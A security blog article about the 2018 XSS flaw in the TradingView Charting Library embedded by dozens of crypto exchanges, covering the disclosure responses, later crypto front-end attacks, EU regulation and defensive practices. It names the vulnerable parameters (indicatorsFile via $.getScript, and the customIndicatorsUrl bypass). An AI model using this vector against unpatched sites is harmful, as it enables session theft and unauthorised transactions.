90+ Cryptocurrency Exchanges Were at Risk Because of One Outdated Library

Why This Was Different From a Typical Breach

Most of the incidents in this series involve a single company leaving a database exposed. This one was structurally different, and arguably more dangerous: a single vulnerability in one widely embedded piece of software put dozens of separate companies at risk simultaneously. Crypto exchanges function as the banks of the future—holding client funds and processing sensitive KYC data—which makes a shared vulnerability across many of them a genuinely systemic risk, not an isolated incident.

What Happened: A DOM-Based XSS in the TradingView Charting Library

On September 24th, 2018, researchers identified a DOM-based cross-site scripting (XSS) vulnerability in the TradingView Charting Library—a charting widget embedded by a large number of cryptocurrency exchanges to display live trading charts to their users. Because so many exchanges relied on the same library, a single flaw in it meant a single exploit technique could potentially be reused against any of them.

How the Exploit Worked

The vulnerability came down to how the library initialized its charts. It served a publicly accessible HTML file, tv-chart.html, which loaded content into an iframe based on parameters passed through the URL's location.hash. One of those parameters, indicatorsFile, was passed directly into jQuery's $.getScript() function without any sanitization—meaning an attacker could point it at an arbitrary external script and have it execute in the context of the exchange's own page.

A URL as simple as one pointing indicatorsFile to an external, attacker-controlled JavaScript file was enough to run arbitrary code inside the exchange's trading interface—and that code could read whatever the legitimate page could read, including live session cookies. That's the difference between a proof-of-concept alert box and a real attack: the same technique could just as easily bypass built-in security measures, run convincing phishing attacks against logged-in users, or attempt unauthorized transactions using a hijacked session.

The Flawed First Fix

TradingView's first attempt at patching the issue didn't fully close the hole. Attackers could still get around it using a different parameter, customIndicatorsUrl, combined with uid=urlParams—effectively the same attack through a side door. It took a later library version to fully resolve the underlying issue.

That detail matters beyond this one incident: it's a reminder that a vendor's first patch isn't automatically the end of the story, and organizations relying on a third-party library need to verify a fix actually closes the vulnerability class, not just the specific proof-of-concept that was reported.

The Disclosure Results: 90 Exchanges, Very Mixed Responses

Researchers identified 90 cryptocurrency exchanges listed on CoinMarketCap that had the vulnerable library embedded, and disclosed the issue to each one individually. The results were not encouraging:

• 46 exchanges ignored the notification entirely
• 44 requested more technical detail before acting
• Only 19 actually implemented a fix
• Only 7 offered any kind of reward for the report

Put differently: roughly half of the exchanges notified about a live vulnerability capable of enabling unauthorized transactions on their platform simply didn't respond at all. Fewer than 1 in 4 fixed it. Fewer than 1 in 12 offered any recognition to the researchers who found and reported it for free.

Is This Still a Risk Today?

The TradingView Charting Library is more widely used now than it was in 2018—TradingView's own materials describe its charting tools as embedded by tens of thousands of companies, including several of the largest exchanges in the industry. The specific indicatorsFile flaw from 2018 doesn't appear to have resurfaced as a fresh incident since its fix, and TradingView has since stood up a formal bug bounty program of its own, with cross-site scripting explicitly listed as a high-severity, rewarded category—a meaningful change from 2018, when there was no clear channel for this kind of report at all.

But the underlying risk category—untrusted or compromised client-side JavaScript silently manipulating what a user sees or approves inside a trusted exchange interface—hasn't gone away. It's arguably become the defining threat pattern in crypto security. In June 2025, a stored XSS vulnerability in CoinMarketCap's homepage let attackers inject a fake wallet-verification popup, draining funds from victims who interacted with it. In November 2024, an XSS flaw in Cointelegraph was used to spoof a fake "Sign in with X" prompt aimed at compromising readers' social accounts. And in February 2025, the largest crypto theft in history—roughly $1.5 billion stolen from Bybit—was traced back to attackers tampering with a JavaScript bundle served to Safe{Wallet}'s web interface, silently rewriting transaction details while showing signers what looked like a normal, legitimate transaction. That incident wasn't classic XSS, but it's the same root failure mode this 2018 research warned about: a trusted, embedded piece of client-side code an exchange or wallet didn't fully control, capable of manipulating exactly what a user believes they're signing.

Bug Bounty Adoption Has Improved—But Started From a Very Low Bar

The 7-out-of-90 exchanges that offered any reward in this research reflected an industry that, in 2018-2020, treated vulnerability disclosure as optional. That's changed measurably since. Independent exchange-security research from Hacken and CER.live found that among the top 100 exchanges by their ranking, the number running a bug bounty program rose from 77 to 98 between assessment periods—and CER.live's live security-scoring methodology now weights bug bounty programs as a full quarter of an exchange's overall score, treating them as baseline hygiene rather than a differentiator. That's a genuinely different posture than the one this research documented, where ignoring a security report outright was the single most common outcome.

What This Means Under MiCA and DORA Today

Neither of the regulatory frameworks now governing EU crypto-asset service providers existed when this research was published. The Markets in Crypto-Assets Regulation (MiCA) requires exchanges to take reasonable steps to manage operational risk from third-party services they depend on, including maintaining contingency plans and direct visibility into outsourced or embedded services—a charting library vendor like TradingView would likely fall under that lens for an EU-regulated exchange today.

More specifically relevant to this exact story is the Digital Operational Resilience Act (DORA), applicable since January 2025 and explicitly brought into scope for crypto-asset service providers alongside MiCA. DORA requires regulated entities to track their usage of third-party and open-source libraries supporting critical functions, monitor those libraries for version updates, run automated vulnerability scanning at least weekly, and follow documented patch-management procedures with defined deadlines. An EU-regulated exchange in 2018 that embedded a vulnerable third-party charting library and simply ignored the disclosure—as roughly half the exchanges in this research did—would today be looking at a specific compliance failure, not just a reputational one.

How to Protect Against Third-Party Library Vulnerabilities

This kind of shared, embedded-library risk calls for a different set of practices than securing your own infrastructure:

• Maintain an inventory of every third-party JavaScript library, widget, and embedded script your platform relies on, including exactly which version is in production.
• Subscribe to security advisories for every critical third-party dependency, and treat a vendor's patch release as an action item, not just a notification.
• Verify that a vendor's fix actually closes the reported vulnerability class—as this case shows, a first patch attempt can leave a bypass in place.
• Run a bug bounty or vulnerability disclosure program with a clear, monitored reporting channel, so a researcher who finds a flaw in your embedded software has somewhere to send it other than a generic support inbox.
• Apply Content Security Policy (CSP) headers and subresource integrity checks to reduce what a compromised or malicious script can actually do even if it does execute.
• If you operate in the EU, map your third-party and embedded-library risk against DORA's ICT third-party risk management requirements now, rather than waiting for an incident to force the exercise.

TradingView XSS Vulnerability: FAQ